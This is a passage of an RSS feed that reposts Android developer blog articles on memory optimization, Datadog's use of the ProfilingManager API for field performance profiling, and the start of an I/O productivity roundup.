        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

